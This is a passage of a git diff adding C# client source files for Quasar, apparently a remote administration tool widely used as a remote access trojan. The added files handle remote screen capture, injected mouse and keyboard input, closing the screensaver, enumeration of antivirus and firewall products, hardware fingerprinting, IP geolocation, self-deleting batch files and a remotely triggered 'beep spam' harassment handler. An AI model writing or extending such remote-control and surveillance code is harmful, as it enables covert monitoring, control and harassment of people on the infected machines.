+ + NativeMethods.SendInput((uint)inputs.Length, inputs, Marshal.SizeOf(typeof(NativeMethods.INPUT))); + } + + public static void DoMouseMove(Point p) + { + NativeMethods.SetCursorPos(p.X, p.Y); + } + + public static void DoMouseScroll(Point p, bool scrollDown) + { + NativeMethods.INPUT[] inputs = { + new NativeMethods.INPUT + { + type = INPUT_MOUSE, + u = new NativeMethods.InputUnion + { + mi = new NativeMethods.MOUSEINPUT + { + dx = p.X, + dy = p.Y, + mouseData = scrollDown ? -120 : 120, + dwFlags = MOUSEEVENTF_WHEEL, + time = 0, + dwExtraInfo = NativeMethods.GetMessageExtraInfo() + } + } + } + }; + + NativeMethods.SendInput((uint)inputs.Length, inputs, Marshal.SizeOf(typeof(NativeMethods.INPUT))); + } + + public static void DoKeyPress(byte key, bool keyDown) + { + NativeMethods.INPUT[] inputs = { + new NativeMethods.INPUT + { + type = INPUT_KEYBOARD, + u = new NativeMethods.InputUnion + { + ki = new NativeMethods.KEYBDINPUT + { + wVk = key, + wScan = 0, + dwFlags = keyDown ? KEYEVENTF_KEYDOWN : KEYEVENTF_KEYUP, + dwExtraInfo = NativeMethods.GetMessageExtraInfo() + } + } + } + }; + + NativeMethods.SendInput((uint)inputs.Length, inputs, Marshal.SizeOf(typeof(NativeMethods.INPUT))); + } + + private const int SPI_GETSCREENSAVERRUNNING = 114; + + public static bool IsScreensaverActive() + { + var running = IntPtr.Zero; + + if (!NativeMethods.SystemParametersInfo( + SPI_GETSCREENSAVERRUNNING, + 0, + ref running, + 0)) + { + // Something went wrong (Marshal.GetLastWin32Error) + } + + return running != IntPtr.Zero; + } + + private const uint DESKTOP_WRITEOBJECTS = 0x0080; + private const uint DESKTOP_READOBJECTS = 0x0001; + private const int WM_CLOSE = 16; + private const uint SPI_SETSCREENSAVEACTIVE = 0x0011; + private const uint SPIF_SENDWININICHANGE = 0x0002; + + public static void DisableScreensaver() + { + var handle = NativeMethods.OpenDesktop("Screen-saver", 0, + false, DESKTOP_READOBJECTS | DESKTOP_WRITEOBJECTS); + + if (handle != IntPtr.Zero) + { + NativeMethods.EnumDesktopWindows(handle, (hWnd, lParam) => + { + if (NativeMethods.IsWindowVisible(hWnd)) + NativeMethods.PostMessage(hWnd, WM_CLOSE, IntPtr.Zero, IntPtr.Zero); + + // Continue enumeration even if it fails + return true; + }, + IntPtr.Zero); + NativeMethods.CloseDesktop(handle); + } + else + { + NativeMethods.PostMessage(NativeMethods.GetForegroundWindow(), WM_CLOSE, IntPtr.Zero, IntPtr.Zero); + } + + // We need to restart the counter for next screensaver according to + // https://support.microsoft.com/en-us/kb/140723 + // (this may not be needed since we simulate mouse click afterwards) + + var dummy = IntPtr.Zero; + + // Doesn't really matter if this fails + NativeMethods.SystemParametersInfo(SPI_SETSCREENSAVEACTIVE, 1 /* TRUE */, ref dummy, SPIF_SENDWININICHANGE); + + } + + public static string GetForegroundWindowTitle() + { + StringBuilder sbTitle = new StringBuilder(1024); + + NativeMethods.GetWindowText(NativeMethods.GetForegroundWindow(), sbTitle, sbTitle.Capacity); + + return sbTitle.ToString(); + } + } +} diff --git a/Quasar.Client/Helper/RegistryKeyHelper.cs b/Quasar.Client/Helper/RegistryKeyHelper.cs new file mode 100644 index 0000000..888954d --- /dev/null +++ b/Quasar.Client/Helper/RegistryKeyHelper.cs @@ -0,0 +1,157 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using Microsoft.Win32; +using Quasar.Common.Models; +using Quasar.Common.Utilities; + +namespace Quasar.Client.Helper +{ + public static class RegistryKeyHelper + { + private static string DEFAULT_VALUE = String.Empty; + + /// + /// Adds a value to the registry key. + /// + /// Represents the possible values for a top-level node on a foreign machine. + /// The path to the registry key. + /// The name of the value. + /// The value. + /// If set to True, adds quotes to the value. + /// True on success, else False. + public static bool AddRegistryKeyValue(RegistryHive hive, string path, string name, string value, bool addQuotes = false) + { + try + { + using (RegistryKey key = RegistryKey.OpenBaseKey(hive, RegistryView.Registry64).OpenSubKey(path, true)) + { + if (key == null) return false; + + if (addQuotes && !value.StartsWith("\"") && !value.EndsWith("\"")) + value = "\"" + value + "\""; + + key.SetValue(name, value); + return true; + } + } + catch (Exception) + { + return false; + } + } + + /// + /// Opens a read-only registry key. + /// + /// Represents the possible values for a top-level node on a foreign machine. + /// The path to the registry key. + /// + public static RegistryKey OpenReadonlySubKey(RegistryHive hive, string path) + { + try + { + return RegistryKey.OpenBaseKey(hive, RegistryView.Registry64).OpenSubKey(path, false); + } + catch + { + return null; + } + } + + /// + /// Deletes the specified value from the registry key. + /// + /// Represents the possible values for a top-level node on a foreign machine. + /// The path to the registry key. + /// The name of the value to delete. + /// True on success, else False. + public static bool DeleteRegistryKeyValue(RegistryHive hive, string path, string name) + { + try + { + using (RegistryKey key = RegistryKey.OpenBaseKey(hive, RegistryView.Registry64).OpenSubKey(path, true)) + { + if (key == null) return false; + key.DeleteValue(name, true); + return true; + } + } + catch (Exception) + { + return false; + } + } + + /// + /// Checks if the provided value is the default value + /// + /// The name of the value + /// True if default value, else False + public static bool IsDefaultValue(string valueName) + { + return String.IsNullOrEmpty(valueName); + } + + /// + /// Adds the default value to the list of values and returns them as an array. + /// If default value already exists this function will only return the list as an array. + /// + /// The list with the values for which the default value should be added to + /// Array with all of the values including the default value + public static RegValueData[] AddDefaultValue(List values) + { + if(!values.Any(value => IsDefaultValue(value.Name))) + { + values.Add(GetDefaultValue()); + } + return values.ToArray(); + } + + /// + /// Gets the default registry values + /// + /// A array with the default registry values + public static RegValueData[] GetDefaultValues() + { + return new[] {GetDefaultValue()}; + } + + public static RegValueData CreateRegValueData(string name, RegistryValueKind kind, object value = null) + { + var newRegValue = new RegValueData {Name = name, Kind = kind}; + + if (value == null) + newRegValue.Data = new byte[] { }; + else + { + switch (newRegValue.Kind) + { + case RegistryValueKind.Binary: + newRegValue.Data = (byte[]) value; + break; + case RegistryValueKind.MultiString: + newRegValue.Data = ByteConverter.GetBytes((string[]) value); + break; + case RegistryValueKind.DWord: + newRegValue.Data = ByteConverter.GetBytes((uint) (int) value); + break; + case RegistryValueKind.QWord: + newRegValue.Data = ByteConverter.GetBytes((ulong) (long) value); + break; + case RegistryValueKind.String: + case RegistryValueKind.ExpandString: + newRegValue.Data = ByteConverter.GetBytes((string) value); + break; + } + } + + return newRegValue; + } + + private static RegValueData GetDefaultValue() + { + return CreateRegValueData(DEFAULT_VALUE, RegistryValueKind.String); + } + } +} diff --git a/Quasar.Client/Helper/ScreenHelper.cs b/Quasar.Client/Helper/ScreenHelper.cs new file mode 100644 index 0000000..a41730b --- /dev/null +++ b/Quasar.Client/Helper/ScreenHelper.cs @@ -0,0 +1,38 @@ +using System; +using System.Drawing; +using System.Drawing.Imaging; +using System.Windows.Forms; +using Quasar.Client.Utilities; + +namespace Quasar.Client.Helper +{ + public static class ScreenHelper + { + private const int SRCCOPY = 0x00CC0020; + + public static Bitmap CaptureScreen(int screenNumber) + { + Rectangle bounds = GetBounds(screenNumber); + Bitmap screen = new Bitmap(bounds.Width, bounds.Height, PixelFormat.Format32bppPArgb); + + using (Graphics g = Graphics.FromImage(screen)) + { + IntPtr destDeviceContext = g.GetHdc(); + IntPtr srcDeviceContext = NativeMethods.CreateDC("DISPLAY", null, null, IntPtr.Zero); + + NativeMethods.BitBlt(destDeviceContext, 0, 0, bounds.Width, bounds.Height, srcDeviceContext, bounds.X, + bounds.Y, SRCCOPY); + + NativeMethods.DeleteDC(srcDeviceContext); + g.ReleaseHdc(destDeviceContext); + } + + return screen; + } + + public static Rectangle GetBounds(int screenNumber) + { + return Screen.AllScreens[screenNumber].Bounds; + } + } +} diff --git a/Quasar.Client/Helper/SystemHelper.cs b/Quasar.Client/Helper/SystemHelper.cs new file mode 100644 index 0000000..8be47bd --- /dev/null +++ b/Quasar.Client/Helper/SystemHelper.cs @@ -0,0 +1,95 @@ +using Quasar.Common.Helpers; +using System; +using System.Management; + +namespace Quasar.Client.Helper +{ + public static class SystemHelper + { + public static string GetUptime() + { + try + { + string uptime = string.Empty; + + using (ManagementObjectSearcher searcher = new ManagementObjectSearcher("SELECT * FROM Win32_OperatingSystem WHERE Primary='true'")) + { + foreach (ManagementObject mObject in searcher.Get()) + { + DateTime lastBootUpTime = ManagementDateTimeConverter.ToDateTime(mObject["LastBootUpTime"].ToString()); + TimeSpan uptimeSpan = TimeSpan.FromTicks((DateTime.Now - lastBootUpTime).Ticks); + + uptime = string.Format("{0}d : {1}h : {2}m : {3}s", uptimeSpan.Days, uptimeSpan.Hours, uptimeSpan.Minutes, uptimeSpan.Seconds); + break; + } + } + + if (string.IsNullOrEmpty(uptime)) + throw new Exception("Getting uptime failed"); + + return uptime; + } + catch (Exception) + { + return string.Format("{0}d : {1}h : {2}m : {3}s", 0, 0, 0, 0); + } + } + + public static string GetPcName() + { + return Environment.MachineName; + } + + public static string GetAntivirus() + { + try + { + string antivirusName = string.Empty; + // starting with Windows Vista we must use the root\SecurityCenter2 namespace + string scope = (PlatformHelper.VistaOrHigher) ? "root\\SecurityCenter2" : "root\\SecurityCenter"; + string query = "SELECT * FROM AntivirusProduct"; + + using (ManagementObjectSearcher searcher = new ManagementObjectSearcher(scope, query)) + { + foreach (ManagementObject mObject in searcher.Get()) + { + antivirusName += mObject["displayName"].ToString() + "; "; + } + } + antivirusName = StringHelper.RemoveLastChars(antivirusName); + + return (!string.IsNullOrEmpty(antivirusName)) ? antivirusName : "N/A"; + } + catch + { + return "Unknown"; + } + } + + public static string GetFirewall() + { + try + { + string firewallName = string.Empty; + // starting with Windows Vista we must use the root\SecurityCenter2 namespace + string scope = (PlatformHelper.VistaOrHigher) ? "root\\SecurityCenter2" : "root\\SecurityCenter"; + string query = "SELECT * FROM FirewallProduct"; + + using (ManagementObjectSearcher searcher = new ManagementObjectSearcher(scope, query)) + { + foreach (ManagementObject mObject in searcher.Get()) + { + firewallName += mObject["displayName"].ToString() + "; "; + } + } + firewallName = StringHelper.RemoveLastChars(firewallName); + + return (!string.IsNullOrEmpty(firewallName)) ? firewallName : "N/A"; + } + catch + { + return "Unknown"; + } + } + } +} diff --git a/Quasar.Client/ILRepack.targets b/Quasar.Client/ILRepack.targets new file mode 100644 index 0000000..ae957e0 --- /dev/null +++ b/Quasar.Client/ILRepack.targets @@ -0,0 +1,12 @@ + + + + + + + + + + + + diff --git a/Quasar.Client/IO/BatchFile.cs b/Quasar.Client/IO/BatchFile.cs new file mode 100644 index 0000000..83a39ad --- /dev/null +++ b/Quasar.Client/IO/BatchFile.cs @@ -0,0 +1,79 @@ +using Quasar.Common.Helpers; +using System.IO; +using System.Text; + +namespace Quasar.Client.IO +{ + /// + /// Provides methods to create batch files for application update, uninstall and restart operations. + /// + public static class BatchFile + { + /// + /// Creates the uninstall batch file. + /// + /// The current file path of the client. + /// The file path to the batch file which can then get executed. Returns string.Empty on failure. + public static string CreateUninstallBatch(string currentFilePath) + { + string batchFile = FileHelper.GetTempFilePath(".bat"); + + string uninstallBatch = + "@echo off" + "\r\n" + + "chcp 65001" + "\r\n" + // Unicode path support for cyrillic, chinese, ... + "echo DONT CLOSE THIS WINDOW!" + "\r\n" + + "ping -n 10 localhost > nul" + "\r\n" + + "del /a /q /f " + "\"" + currentFilePath + "\"" + "\r\n" + + "del /a /q /f " + "\"" + batchFile + "\""; + + File.WriteAllText(batchFile, uninstallBatch, new UTF8Encoding(false)); + return batchFile; + } + + /// + /// Creates the update batch file. + /// + /// The current file path of the client. + /// The new file path of the client. + /// The file path to the batch file which can then get executed. Returns an empty string on failure. + public static string CreateUpdateBatch(string currentFilePath, string newFilePath) + { + string batchFile = FileHelper.GetTempFilePath(".bat"); + + string updateBatch = + "@echo off" + "\r\n" + + "chcp 65001" + "\r\n" + // Unicode path support for cyrillic, chinese, ... + "echo DONT CLOSE THIS WINDOW!" + "\r\n" + + "ping -n 10 localhost > nul" + "\r\n" + + "del /a /q /f " + "\"" + currentFilePath + "\"" + "\r\n" + + "move /y " + "\"" + newFilePath + "\"" + " " + "\"" + currentFilePath + "\"" + "\r\n" + + "start \"\" " + "\"" + currentFilePath + "\"" + "\r\n" + + "del /a /q /f " + "\"" + batchFile + "\""; + + File.WriteAllText(batchFile, updateBatch, new UTF8Encoding(false)); + return batchFile; + } + + /// + /// Creates the restart batch file. + /// + /// The current file path of the client. + /// The file path to the batch file which can then get executed. Returns string.Empty on failure. + public static string CreateRestartBatch(string currentFilePath) + { + string batchFile = FileHelper.GetTempFilePath(".bat"); + + string restartBatch = + "@echo off" + "\r\n" + + "chcp 65001" + "\r\n" + // Unicode path support for cyrillic, chinese, ... + "echo DONT CLOSE THIS WINDOW!" + "\r\n" + + "ping -n 10 localhost > nul" + "\r\n" + + "start \"\" " + "\"" + currentFilePath + "\"" + "\r\n" + + "del /a /q /f " + "\"" + batchFile + "\""; + + File.WriteAllText(batchFile, restartBatch, new UTF8Encoding(false)); + + return batchFile; + } + } +} diff --git a/Quasar.Client/IO/HardwareDevices.cs b/Quasar.Client/IO/HardwareDevices.cs new file mode 100644 index 0000000..a75c2c1 --- /dev/null +++ b/Quasar.Client/IO/HardwareDevices.cs @@ -0,0 +1,264 @@ +using Quasar.Common.Cryptography; +using Quasar.Common.Helpers; +using System; +using System.Linq; +using System.Management; +using System.Net.NetworkInformation; +using System.Net.Sockets; + +namespace Quasar.Client.IO +{ + /// + /// Provides access to retrieve information about the used hardware devices. + /// + /// Caches the retrieved information to reduce the slowdown of the slow WMI queries. + public static class HardwareDevices + { + /// + /// Gets a unique hardware id as a combination of various hardware components. + /// + public static string HardwareId => _hardwareId ?? (_hardwareId = Sha256.ComputeHash(CpuName + MainboardName + BiosManufacturer)); + + /// + /// Used to cache the hardware id. + /// + private static string _hardwareId; + + /// + /// Gets the name of the system CPU. + /// + public static string CpuName => _cpuName ?? (_cpuName = GetCpuName()); + + /// + /// Used to cache the CPU name. + /// + private static string _cpuName; + + /// + /// Gets the name of the GPU. + /// + public static string GpuName => _gpuName ?? (_gpuName = GetGpuName()); + + /// + /// Used to cache the GPU name. + /// + private static string _gpuName; + + /// + /// Gets the name of the BIOS manufacturer. + /// + public static string BiosManufacturer => _biosManufacturer ?? (_biosManufacturer = GetBiosManufacturer()); + + /// + /// Used to cache the BIOS manufacturer. + /// + private static string _biosManufacturer; + + /// + /// Gets the name of the mainboard. + /// + public static string MainboardName => _mainboardName ?? (_mainboardName = GetMainboardName()); + + /// + /// Used to cache the mainboard name. + /// + private static string _mainboardName; + + /// + /// Gets the total physical memory of the system in megabytes (MB). + /// + public static int? TotalPhysicalMemory => _totalPhysicalMemory ?? (_totalPhysicalMemory = GetTotalPhysicalMemoryInMb()); + + /// + /// Used to cache the total physical memory. + /// + private static int? _totalPhysicalMemory; + + /// + /// Gets the LAN IP address of the network interface. + /// + public static string LanIpAddress => GetLanIpAddress(); + + /// + /// Gets the MAC address of the network interface. + /// + public static string MacAddress => GetMacAddress(); + + private static string GetBiosManufacturer() + { + try + { + string biosIdentifier = string.Empty; + string query = "SELECT * FROM Win32_BIOS"; + + using (ManagementObjectSearcher searcher = new ManagementObjectSearcher(query)) + { + foreach (ManagementObject mObject in searcher.Get()) + { + biosIdentifier = mObject["Manufacturer"].ToString(); + break; + } + } + + return (!string.IsNullOrEmpty(biosIdentifier)) ? biosIdentifier : "N/A"; + } + catch + { + } + + return "Unknown"; + } + + private static string GetMainboardName() + { + try + { + string mainboardIdentifier = string.Empty; + string query = "SELECT * FROM Win32_BaseBoard"; + + using (ManagementObjectSearcher searcher = new ManagementObjectSearcher(query)) + { + foreach (ManagementObject mObject in searcher.Get()) + { + mainboardIdentifier = mObject["Manufacturer"].ToString() + " " + mObject["Product"].ToString(); + break; + } + } + + return (!string.IsNullOrEmpty(mainboardIdentifier)) ? mainboardIdentifier : "N/A"; + } + catch + { + } + + return "Unknown"; + } + + private static string GetCpuName() + { + try + { + string cpuName = string.Empty; + string query = "SELECT * FROM Win32_Processor"; + + using (ManagementObjectSearcher searcher = new ManagementObjectSearcher(query)) + { + foreach (ManagementObject mObject in searcher.Get()) + { + cpuName += mObject["Name"].ToString() + "; "; + } + } + cpuName = StringHelper.RemoveLastChars(cpuName); + + return (!string.IsNullOrEmpty(cpuName)) ? cpuName : "N/A"; + } + catch + { + } + + return "Unknown"; + } + + private static int GetTotalPhysicalMemoryInMb() + { + try + { + int installedRAM = 0; + string query = "Select * From Win32_ComputerSystem"; + + using (ManagementObjectSearcher searcher = new ManagementObjectSearcher(query)) + { + foreach (ManagementObject mObject in searcher.Get()) + { + double bytes = (Convert.ToDouble(mObject["TotalPhysicalMemory"])); + installedRAM = (int)(bytes / 1048576); // bytes to MB + break; + } + } + + return installedRAM; + } + catch + { + return -1; + } + } + + private static string GetGpuName() + { + try + { + string gpuName = string.Empty; + string query = "SELECT * FROM Win32_DisplayConfiguration"; + + using (ManagementObjectSearcher searcher = new ManagementObjectSearcher(query)) + { + foreach (ManagementObject mObject in searcher.Get()) + { + gpuName += mObject["Description"].ToString() + "; "; + } + } + gpuName = StringHelper.RemoveLastChars(gpuName); + + return (!string.IsNullOrEmpty(gpuName)) ? gpuName : "N/A"; + } + catch + { + return "Unknown"; + } + } + + private static string GetLanIpAddress() + { + // TODO: support multiple network interfaces + foreach (NetworkInterface ni in NetworkInterface.GetAllNetworkInterfaces()) + { + GatewayIPAddressInformation gatewayAddress = ni.GetIPProperties().GatewayAddresses.FirstOrDefault(); + if (gatewayAddress != null) //exclude virtual physical nic with no default gateway + { + if (ni.NetworkInterfaceType == NetworkInterfaceType.Wireless80211 || + ni.NetworkInterfaceType == NetworkInterfaceType.Ethernet && + ni.OperationalStatus == OperationalStatus.Up) + { + foreach (UnicastIPAddressInformation ip in ni.GetIPProperties().UnicastAddresses) + { + if (ip.Address.AddressFamily != AddressFamily.InterNetwork || + ip.AddressPreferredLifetime == UInt32.MaxValue) // exclude virtual network addresses + continue; + + return ip.Address.ToString(); + } + } + } + } + + return "-"; + } + + private static string GetMacAddress() + { + foreach (NetworkInterface ni in NetworkInterface.GetAllNetworkInterfaces()) + { + if (ni.NetworkInterfaceType == NetworkInterfaceType.Wireless80211 || + ni.NetworkInterfaceType == NetworkInterfaceType.Ethernet && + ni.OperationalStatus == OperationalStatus.Up) + { + bool foundCorrect = false; + foreach (UnicastIPAddressInformation ip in ni.GetIPProperties().UnicastAddresses) + { + if (ip.Address.AddressFamily != AddressFamily.InterNetwork || + ip.AddressPreferredLifetime == UInt32.MaxValue) // exclude virtual network addresses + continue; + + foundCorrect = (ip.Address.ToString() == GetLanIpAddress()); + } + + if (foundCorrect) + return StringHelper.GetFormattedMacAddress(ni.GetPhysicalAddress().ToString()); + } + } + + return "-"; + } + } +} diff --git a/Quasar.Client/IpGeoLocation/GeoInformation.cs b/Quasar.Client/IpGeoLocation/GeoInformation.cs new file mode 100644 index 0000000..f2f40a8 --- /dev/null +++ b/Quasar.Client/IpGeoLocation/GeoInformation.cs @@ -0,0 +1,16 @@ +namespace Quasar.Client.IpGeoLocation +{ + /// + /// Stores the IP geolocation information. + /// + public class GeoInformation + { + public string IpAddress { get; set; } + public string Country { get; set; } + public string CountryCode { get; set; } + public string Timezone { get; set; } + public string Asn { get; set; } + public string Isp { get; set; } + public int ImageIndex { get; set; } + } +} diff --git a/Quasar.Client/IpGeoLocation/GeoInformationFactory.cs b/Quasar.Client/IpGeoLocation/GeoInformationFactory.cs new file mode 100644 index 0000000..3af63ce --- /dev/null +++ b/Quasar.Client/IpGeoLocation/GeoInformationFactory.cs @@ -0,0 +1,47 @@ +using System; + +namespace Quasar.Client.IpGeoLocation +{ + /// + /// Factory to retrieve and cache the last IP geolocation information for minutes. + /// + public static class GeoInformationFactory + { + /// + /// Retriever used to get geolocation information about the WAN IP address. + /// + private static readonly GeoInformationRetriever Retriever = new GeoInformationRetriever(); + + /// + /// Used to cache the latest IP geolocation information. + /// + private static GeoInformation _geoInformation; + + /// + /// Time of the last successful location retrieval. + /// + private static DateTime _lastSuccessfulLocation = new DateTime(1, 1, 1, 0, 0, 0, DateTimeKind.Utc); + + /// + /// The minimum amount of minutes a successful IP geolocation retrieval is valid. + /// + private const int MINIMUM_VALID_TIME = 60 * 12; + + /// + /// Gets the IP geolocation information, either cached or freshly retrieved if more than minutes have passed. + /// + /// The latest IP geolocation information. + public static GeoInformation GetGeoInformation() + { + var passedTime = new TimeSpan(DateTime.UtcNow.Ticks - _lastSuccessfulLocation.Ticks); + + if (_geoInformation == null || passedTime.TotalMinutes > MINIMUM_VALID_TIME) + { + _geoInformation = Retriever.Retrieve(); + _lastSuccessfulLocation = DateTime.UtcNow; + } + + return _geoInformation; + } + } +} diff --git a/Quasar.Client/IpGeoLocation/GeoInformationRetriever.cs b/Quasar.Client/IpGeoLocation/GeoInformationRetriever.cs new file mode 100644 index 0000000..bb44f14 --- /dev/null +++ b/Quasar.Client/IpGeoLocation/GeoInformationRetriever.cs @@ -0,0 +1,174 @@ +using Quasar.Client.Helper; +using System.Globalization; +using System.IO; +using System.Net; + +namespace Quasar.Client.IpGeoLocation +{ + /// + /// Class to retrieve the IP geolocation information. + /// + public class GeoInformationRetriever + { + /// + /// List of all available flag images on the server side. + /// + private readonly string[] _imageList = + { + "ad", "ae", "af", "ag", "ai", "al", + "am", "an", "ao", "ar", "as", "at", "au", "aw", "ax", "az", "ba", + "bb", "bd", "be", "bf", "bg", "bh", "bi", "bj", "bm", "bn", "bo", + "br", "bs", "bt", "bv", "bw", "by", "bz", "ca", "catalonia", "cc", + "cd", "cf", "cg", "ch", "ci", "ck", "cl", "cm", "cn", "co", "cr", + "cs", "cu", "cv", "cx", "cy", "cz", "de", "dj", "dk", "dm", "do", + "dz", "ec", "ee", "eg", "eh", "england", "er", "es", "et", + "europeanunion", "fam", "fi", "fj", "fk", "fm", "fo", "fr", "ga", + "gb", "gd", "ge", "gf", "gh", "gi", "gl", "gm", "gn", "gp", "gq", + "gr", "gs", "gt", "gu", "gw", "gy", "hk", "hm", "hn", "hr", "ht", + "hu", "id", "ie", "il", "in", "io", "iq", "ir", "is", "it", "jm", + "jo", "jp", "ke", "kg", "kh", "ki", "km", "kn", "kp", "kr", "kw", + "ky", "kz", "la", "lb", "lc", "li", "lk", "lr", "ls", "lt", "lu", + "lv", "ly", "ma", "mc", "md", "me", "mg", "mh", "mk", "ml", "mm", + "mn", "mo", "mp", "mq", "mr", "ms", "mt", "mu", "mv", "mw", "mx", + "my", "mz", "na", "nc", "ne", "nf", "ng", "ni", "nl", "no", "np", + "nr", "nu", "nz", "om", "pa", "pe", "pf", "pg", "ph", "pk", "pl", + "pm", "pn", "pr", "ps", "pt", "pw", "py", "qa", "re", "ro", "rs", + "ru", "rw", "sa", "sb", "sc", "scotland", "sd", "se", "sg", "sh", + "si", "sj", "sk", "sl", "sm", "sn", "so", "sr", "st", "sv", "sy", + "sz", "tc", "td", "tf", "tg", "th", "tj", "tk", "tl", "tm", "tn", + "to", "tr", "tt", "tv", "tw", "tz", "ua", "ug", "um", "us", "uy", + "uz", "va", "vc", "ve", "vg", "vi", "vn", "vu", "wales", "wf", + "ws", "ye", "yt", "za", "zm", "zw" + }; + + /// + /// Retrieves the IP geolocation information. + /// + /// The retrieved IP geolocation information. + public GeoInformation Retrieve() + { + var geo = TryRetrieveOnline() ?? TryRetrieveLocally(); + + if (string.IsNullOrEmpty(geo.IpAddress)) + geo.IpAddress = TryGetWanIp(); + + geo.IpAddress = (string.IsNullOrEmpty(geo.IpAddress)) ? "Unknown" : geo.IpAddress; + geo.Country = (string.IsNullOrEmpty(geo.Country)) ? "Unknown" : geo.Country; + geo.CountryCode = (string.IsNullOrEmpty(geo.CountryCode)) ? "-" : geo.CountryCode; + geo.Timezone = (string.IsNullOrEmpty(geo.Timezone)) ? "Unknown" : geo.Timezone; + geo.Asn = (string.IsNullOrEmpty(geo.Asn)) ? "Unknown" : geo.Asn; + geo.Isp = (string.IsNullOrEmpty(geo.Isp)) ? "Unknown" : geo.Isp; + + geo.ImageIndex = 0; + for (int i = 0; i < _imageList.Length; i++) + { + if (_imageList[i] == geo.CountryCode.ToLower()) + { + geo.ImageIndex = i; + break; + } + } + if (geo.ImageIndex == 0) geo.ImageIndex = 247; // question icon + + return geo; + } + + /// + /// Tries to retrieve the geolocation information online. + /// + /// The retrieved geolocation information if successful, otherwise null. + private GeoInformation TryRetrieveOnline() + { + try + { + HttpWebRequest request = (HttpWebRequest)WebRequest.Create("https://ipwho.is/"); + request.UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0"; + request.Proxy = null; + request.Timeout = 10000; + + using (HttpWebResponse response = (HttpWebResponse)request.GetResponse()) + { + using (Stream dataStream = response.GetResponseStream()) + { + var geoInfo = JsonHelper.Deserialize(dataStream); + + GeoInformation g = new GeoInformation + { + IpAddress = geoInfo.Ip, + Country = geoInfo.Country, + CountryCode = geoInfo.CountryCode, + Timezone = geoInfo.Timezone.UTC, + Asn = geoInfo.Connection.ASN.ToString(), + Isp = geoInfo.Connection.ISP + }; + + return g; + } + } + } + catch + { + return null; + } + } + + /// + /// Tries to retrieve the geolocation information locally. + /// + /// The retrieved geolocation information if successful, otherwise null. + private GeoInformation TryRetrieveLocally() + { + try + { + GeoInformation g = new GeoInformation(); + + // use local information + var cultureInfo = CultureInfo.CurrentUICulture; + var region = new RegionInfo(cultureInfo.LCID); + + g.Country = region.DisplayName; + g.CountryCode = region.TwoLetterISORegionName; + g.Timezone = DateTimeHelper.GetLocalTimeZone(); + + return g; + } + catch + { + return null; + } + } + + /// + /// Tries to retrieves the WAN IP. + /// + /// The WAN IP as string if successful, otherwise null. + private string TryGetWanIp() + { + string wanIp = ""; + + try + { + HttpWebRequest request = (HttpWebRequest)WebRequest.Create("https://api.ipify.org/"); + request.UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0"; + request.Proxy = null; + request.Timeout = 5000; + + using (HttpWebResponse response = (HttpWebResponse)request.GetResponse()) + { + using (Stream dataStream = response.GetResponseStream()) + { + using (StreamReader reader = new StreamReader(dataStream)) + { + wanIp = reader.ReadToEnd(); + } + } + } + } + catch + { + } + + return wanIp; + } + } +} diff --git a/Quasar.Client/IpGeoLocation/GeoResponse.cs b/Quasar.Client/IpGeoLocation/GeoResponse.cs new file mode 100644 index 0000000..6fda684 --- /dev/null +++ b/Quasar.Client/IpGeoLocation/GeoResponse.cs @@ -0,0 +1,45 @@ +using System.Runtime.Serialization; + +namespace Quasar.Client.IpGeoLocation +{ + [DataContract] + public class GeoResponse + { + [DataMember(Name = "ip")] + public string Ip { get; set; } + + [DataMember(Name = "continent_code")] + public string ContinentCode { get; set; } + + [DataMember(Name = "country")] + public string Country { get; set; } + + [DataMember(Name = "country_code")] + public string CountryCode { get; set; } + + [DataMember(Name = "timezone")] + public Time Timezone { get; set; } + + [DataMember(Name = "connection")] + public Conn Connection { get; set; } + + } + + + + [DataContract] + public class Time + { + [DataMember(Name = "utc")] + public string UTC { get; set; } + } + [DataContract] + public class Conn + { + [DataMember(Name = "asn")] + public string ASN { get; set; } + + [DataMember(Name = "isp")] + public string ISP { get; set; } + } +} diff --git a/Quasar.Client/Messages/BeepSpamHandler.cs b/Quasar.Client/Messages/BeepSpamHandler.cs new file mode 100644 index 0000000..3e8f963 --- /dev/null +++ b/Quasar.Client/Messages/BeepSpamHandler.cs @@ -0,0 +1,48 @@ +using Quasar.Common.Messages; +using Quasar.Common.Networking; +using System; +using System.Threading; + +namespace Quasar.Client.Messages +{ + public class BeepSpamHandler : IMessageProcessor + { + private Thread _thread; + private volatile bool _running; + private readonly Random _rng = new Random(); + + public bool CanExecute(IMessage message) => message is DoStartBeepSpam || message is DoStopBeepSpam; + public bool CanExecuteFrom(ISender sender) => true; + + public void Execute(ISender sender, IMessage message) + { + if (message is DoStartBeepSpam) Start(); + else if (message is DoStopBeepSpam) Stop(); + } + + private void Start() + { + if (_running) return; + _running = true; + _thread = new Thread(BeepLoop) { IsBackground = true }; + _thread.Start(); + } + + private void Stop() + { + _running = false; + } + + private void BeepLoop() + { + while (_running) + { + int freq = _rng.Next(200, 3000); + int dur = _rng.Next(30, 220); + try { Console.Beep(freq, dur); } catch { } + if (!_running) break; + Thread.Sleep(_rng.Next(0, 150)); + } + } + } +} diff --git a/Quasar.Client/Messages/ClientServicesHandler.cs b/Quasar.Client/Messages/ClientServicesHandler.cs new file mode 100644 index 0000000..44bc899 --- /dev/null +++ b/Quasar.Client/Messages/ClientServicesHandler.cs @@ -0,0 +1,113 @@ +using Quasar.Client.Config; +using Quasar.Client.Networking; +using Quasar.Client.Setup; +using Quasar.Client.User; +using Quasar.Client.Utilities; +using Quasar.Common.Enums; +using Quasar.Common.Messages; +using Quasar.Common.Networking; +using System; +using System.Diagnostics; +using System.Windows.Forms; + +namespace Quasar.Client.Messages +{ + public class ClientServicesHandler : IMessageProcessor + { + private readonly QuasarClient _client; + + private readonly QuasarApplication _application; + + public ClientServicesHandler(QuasarApplication application, QuasarClient client) + { + _application = application; + _client = client; + } + + /// + public bool CanExecute(IMessage message) => message is DoClientUninstall || + message is DoClientDisconnect || + message is DoClientReconnect || + message is DoAskElevate; + + /// + public bool CanExecuteFrom(ISender sender) => true; + + /// + public void Execute(ISender sender, IMessage message) + { + switch (message) + { + case DoClientUninstall msg: + Execute(sender, msg); + break; + case DoClientDisconnect msg: + Execute(sender, msg); + break; + case DoClientReconnect msg: + Execute(sender, msg); + break; + case DoAskElevate msg: + Execute(sender, msg); + break; + } + } + + private void Execute(ISender client, DoClientUninstall message) + { + client.Send(new SetStatus { Message = "Uninstalling... good bye :-(" }); + try + { + new ClientUninstaller().Uninstall(); + 